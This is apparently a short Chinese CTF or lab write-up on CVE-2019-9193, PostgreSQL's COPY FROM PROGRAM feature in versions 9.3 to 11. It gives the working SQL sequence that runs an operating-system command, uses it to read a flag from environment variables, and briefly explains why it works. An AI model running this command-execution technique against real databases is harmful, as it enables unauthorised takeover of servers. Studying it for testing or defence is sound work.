postgresql查询当前版本:

show server_version;

image-20211018145705603

CVE-2019-9193

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。

直接使用Navicat连接数据库,然后执行如下sql语句:

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

1625396483341

接着直接拿下环境变量里的flag:

1625396525322

其实原理很简单就是先新建一个表,然后使用copy from把export执行的结果存入表中,最后查看表。

造成漏洞的原因就是最开始写的一句:

其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。